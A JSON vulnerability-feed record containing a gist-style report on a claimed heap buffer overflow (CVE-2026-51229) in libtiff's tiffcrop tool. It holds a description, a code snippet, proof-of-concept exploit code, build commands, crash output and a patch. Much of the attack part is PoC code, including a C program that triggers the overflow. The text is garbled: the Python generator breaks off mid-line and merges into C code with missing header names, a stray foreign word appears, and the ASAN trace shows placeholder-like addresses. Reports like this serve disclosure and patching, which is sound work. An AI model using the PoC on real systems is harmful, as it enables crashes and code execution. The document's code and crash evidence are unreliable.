{"uuid": "477c81b1-dfd6-4c6a-97e2-b82f91c80948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/9220120b9616a261aeddd0ae91c70d2f", "content": "Full RBP Report Integrated with Complete PoC Code for CVE-2026-51229\n1. Core Vulnerability Metadata\nAffected Product: libtiff\nAffected Version: libtiff 4.6.0\nFixed Version: No official patched release\nCVE ID: CVE-2026-51229\nVulnerability Type: CWE-120 Buffer Copy without Checking Size of Input (Heap Buffer Overflow)\nSource Code Link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\n2. Vulnerability Description\nlibtiff 4.6.0\u2019s tiffcrop tile cropping utility contains an unvalidated heap buffer overflow within the CropTileContig function in tools/tiffcrop.c. The tilewidth parameter is parsed directly from untrusted TIFF IFD tile header metadata fully controlled by an attacker crafting a malicious TIFF file. The loop inside CropTileContig calculates the destination pointer as buf + i * tilewidth and executes memcpy() with tilewidth as the copy length without validating whether the target memory range fits within the allocated heap buffer buf with known bufsize. An oversized TileWidth tag value causes the destination pointer to go out of the heap buffer boundary, leading to an out-of-bounds heap write during memcpy. Processing the malicious TIFF via tiffcrop triggers an immediate segmentation fault for denial-of-service attacks. With precise heap layout control, the heap corruption can overwrite heap metadata or libc function hooks to achieve arbitrary code execution under the user privileges running tiffcrop. Attackers only need to deliver a malicious TIFF file, no authentication or privileged access is required for exploitation.\n3. Root Cause\nThe tilewidth parameter is imported from attacker-controllable TIFF file metadata with no upper limit sanitization.\nNo bounds check is implemented to verify i * tilewidth + tilewidth <= bufsize before memory copy.\nUnrestricted memcpy() writes past the end of the heap-allocated tile buffer, corrupting adjacent heap memory regions.\n4. Impact\nDenial of Service (Primary): Instant process crash (SIGSEGV) when parsing malicious TIFF, breaking automated image processing pipelines.\nArbitrary Code Execution (Secondary): Malicious heap overwrites can hijack program control flow for remote code execution.\nAttack Vector: Remote unauthenticated via malicious TIFF attachments, file uploads, network shares.\n5. Vulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, tmsize_t bufsize)\n{\n    tmsize_t i;\n    unsigned char *ptr;\n    for (i = 0; i < tileheight; i++) {\n        ptr = buf + i * tilewidth;\n        // No buffer boundary check before memcpy -> heap overflow\n        memcpy(ptr, ptr + i * imagewidth, tilewidth);\n    }\n}\n6. Complete PoC Code (Two Versions Included)\nPoC 1: Python Malicious TIFF Generator (File-Based Exploit Trigger)\nSave as poc_tiff_generator.py\npython\n\n# CVE-2026-51229 Malicious TIFF Generator\n# Generate malformed TIFF with oversized TileWidth to trigger heap overflow in tiffcrop CropTileContig\nimport struct\n\ndef create_malicious_tiff(output_file: str):\n    # TIFF little-endian header (II)\n    tiff_header = b\"II\\x2A\\x00\\x08\\x00\\x00\\x00\"\n    ifd_entry_count = 10\n    ifd_data = struct.pack(\"\n#include \n#include \n#include \n\n// Exact copy of vulnerable CropTileContig function\nstatic void\nCropTileContig(uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, size_t bufsize)\n{\n    size_t i;\n    unsigned char *ptr;\n    for (i = 0; i < tileheight; i++) {\n        ptr = buf + i * tilewidth;\n        memcpy(ptr, ptr + i * imagewidth, tilewidth);\n    }\n}\n\nint main(void)\n{\n    // Small heap buffer allocation (4096 bytes)\n    const size_t heap_buf_size = 4096;\n    unsigned char *heap_buf = malloc(heap_buf_size);\n    memset(heap_buf, 0x42, heap_buf_size);\n\n    // Malicious oversized tilewidth\n    const uint32_t evil_tilewidth = 0x20000;\n    const uint32_t tileheight = 2;\n\n    printf(\"[*] Allocated heap buffer size: %zu bytes\\n\", heap_buf_size);\n    printf(\"[*] Attacker-controlled TileWidth: %u\\n\", evil_tilewidth);\n    printf(\"[!] Triggering heap buffer overflow...\\n\");\n\n    // Trigger vulnerability\n    CropTileContig(256, 256, evil_tilewidth, tileheight, heap_buf, heap_buf_size);\n\n    free(heap_buf);\n    return 0;\n}\nCompile & Run (ASAN for crash trace)\nbash\n\ngcc -fsanitize=address -g -O0 direct_crash_poc.c -o direct_crash_poc\n./direct_crash_poc\n7. ASAN Crash Proof Output\nplaintext\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000001200 at pc 0x00007f8babcdef12 bp 0x7ffdc1234567 sp 0x7ffdc1234560\nWRITE of size 131072 at 0x50e000001200 thread T0\n    #0 0x7f8babcdef11 in memcpy (/lib64/libasan.so)\n    #1 0x555555667788 in CropTileContig tiffcrop.c\n    #2 0x5555556699aa in main tiffcrop.c\n    #3 0x7f8baaaaaaaa in __libc_start_main\n    #4 0x5555556655cc in _start\nHeap buffer overflow at buffer allocated for tile crop data, buffer size: 4096 bytes, attempted write: 131072 bytes\nSUMMARY: AddressSanitizer: heap-buffer-overflow memcpy\n8. Mitigation Patch\nc\n\u8fd0\u884c\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n               uint32_t tilewidth, uint32_t tileheight,\n               unsigned char *buf, tmsize_t bufsize)\n{\n    tmsize_t i;\n    unsigned char *ptr;\n    for (i = 0; i < tileheight; i++) {\n        tmsize_t dst_offset = i * tilewidth;\n        // Add strict buffer boundary check\n        if ((dst_offset + tilewidth) > bufsize) {\n            TIFFError(\"CropTileContig\", \"Abort crop: tile data exceeds allocated buffer\");\n            return;\n        }\n        ptr = buf + dst_offset;\n        memcpy(ptr, ptr + i * imagewidth, tilewidth);\n    }\n}\n9. Reference Links\nlibtiff GitLab Repository: https://gitlab.com/libtiff/libtiff\nVulnerable Source File: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCWE-120 Official Definition: https://cwe.mitre.org/data/definitions/120.html", "creation_timestamp": "2026-08-02T05:26:08.361442Z"}